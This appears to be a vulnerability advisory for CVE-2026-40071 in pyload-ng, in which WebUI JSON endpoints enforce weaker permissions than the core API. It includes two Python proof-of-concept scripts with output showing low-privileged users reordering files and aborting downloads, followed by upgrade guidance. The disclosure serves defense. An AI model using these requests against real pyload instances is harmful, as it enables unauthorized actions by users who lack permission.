CVE-2026-40071 is a medium-severity (CVSS 5.4) CWE-863 vulnerability in pyload-ng. A fix is available for pyload-ng — see the affected versions and patch details below.
pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-40071.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
pyload-ngReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Several WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute MODIFY operations that should be denied by pyLoad's own permission model.
Confirmed mismatches:
ADDuser can reorder packages/files (order_package,order_file) via/json/package_orderand/json/link_orderDELETEuser can abort downloads (stop_downloads) via/json/abort_link
Details
pyLoad defines granular permissions in core API:
order_packagerequiresPerms.MODIFY(src/pyload/core/api/__init__.py:1125)order_filerequiresPerms.MODIFY(src/pyload/core/api/__init__.py:1137)stop_downloadsrequiresPerms.MODIFY(src/pyload/core/api/__init__.py:1046)
But WebUI JSON routes use weaker checks:
/json/package_orderuses@login_required("ADD")then callsapi.order_package(...)(src/pyload/webui/app/blueprints/json_blueprint.py:109-117)/json/link_orderuses@login_required("ADD")then callsapi.order_file(...)(src/pyload/webui/app/blueprints/json_blueprint.py:137-145)/json/abort_linkuses@login_required("DELETE")then callsapi.stop_downloads(...)(src/pyload/webui/app/blueprints/json_blueprint.py:123-131)
Why this is likely unintended (not just convenience):
- The same JSON blueprint correctly protects other edit actions with
MODIFY:/json/move_package->@login_required("MODIFY")(json_blueprint.py:188-196)/json/edit_package->@login_required("MODIFY")(json_blueprint.py:202-217)
- The project UI exposes granular per-user permission assignment (
settings.html:184-190), implying these boundaries are intended security controls.
PoC
Environment:
- Repository version:
0.5.0b3(VERSIONfile) - Commit tested:
ddc53b3d7
PoC A (ADD-only user invokes MODIFY-only reorder):
import os
import sys
from types import SimpleNamespace
sys.path.insert(0, os.path.abspath('src'))
from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint
class FakeApi:
def __init__(self):
self.calls = []
def user_exists(self, username):
return username == 'attacker'
def order_package(self, pack_id, pos):
self.calls.append(('order_package', int(pack_id), int(pos)))
def order_file(self, file_id, pos):
self.calls.append(('order_file', int(file_id), int(pos)))
api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.ADD}
print('API auth (ADD-only) order_package:', api.is_authorized('order_package', ctx))
print('API auth (ADD-only) order_file:', api.is_authorized('order_file', ctx))
app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)
with app.test_client() as c:
with c.session_transaction() as s:
s['authenticated'] = True
s['name'] = 'attacker'
s['role'] = int(Role.USER)
s['perms'] = int(Perms.ADD)
r1 = c.post('/json/package_order', json={'pack_id': 5, 'pos': 0})
r2 = c.post('/json/link_order', json={'file_id': 77, 'pos': 1})
print('HTTP /json/package_order:', r1.status_code, r1.get_data(as_text=True).strip())
print('HTTP /json/link_order:', r2.status_code, r2.get_data(as_text=True).strip())
print('calls:', f.calls)
Observed output:
API auth (ADD-only) order_package: False
API auth (ADD-only) order_file: False
HTTP /json/package_order: 200 {"response":"success"}
HTTP /json/link_order: 200 {"response":"success"}
calls: [('order_package', 5, 0), ('order_file', 77, 1)]
PoC B (DELETE-only user invokes MODIFY-only stop_downloads):
import os
import sys
from types import SimpleNamespace
sys.path.insert(0, os.path.abspath('src'))
from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint
class FakeApi:
def __init__(self):
self.calls = []
def user_exists(self, username):
return username == 'u'
def stop_downloads(self, ids):
self.calls.append(('stop_downloads', ids))
api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.DELETE}
print('API auth (DELETE-only) stop_downloads:', api.is_authorized('stop_downloads', ctx))
app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)
with app.test_client() as c:
with c.session_transaction() as s:
s['authenticated'] = True
s['name'] = 'u'
s['role'] = int(Role.USER)
s['perms'] = int(Perms.DELETE)
r = c.post('/json/abort_link', json={'link_id': 999})
print('HTTP /json/abort_link:', r.status_code, r.get_data(as_text=True).strip())
print('calls:', f.calls)
Observed output:
API auth (DELETE-only) stop_downloads: False
HTTP /json/abort_link: 200 {"response":"success"}
calls: [('stop_downloads', [999])]
Impact
Type:
- Improper authorization / permission-bypass between WebUI and core API permission model.
Scope:
- Horizontal privilege escalation among authenticated non-admin users.
- Not admin takeover, but unauthorized execution of operations explicitly categorized as
MODIFY.
Security impact:
- Integrity impact: unauthorized queue/file reordering by users lacking
MODIFY. - Availability impact: unauthorized abort of active downloads by users lacking
MODIFY.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | pyload-ng | all versions | 0.5.0b3.dev97pip install --upgrade 'pyload-ng==0.5.0b3.dev97' |
Affected Products
pyloadpyloadDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pyload-ng, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update pyload-ng to 0.5.0b3.dev97 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-40071 is resolved across your whole dependency graph.
Workarounds
Close the privilege gap rather than the entry point: audit which accounts, roles and service identities can reach the affected operation, drop the component to the least privilege it actually needs, and review file and directory permissions created by earlier installs — a default left in place is what makes this reachable.
Frequently Asked Questions
Is CVE-2026-40071 in your dependencies?
Find it across PyPI, including transitive dependencies.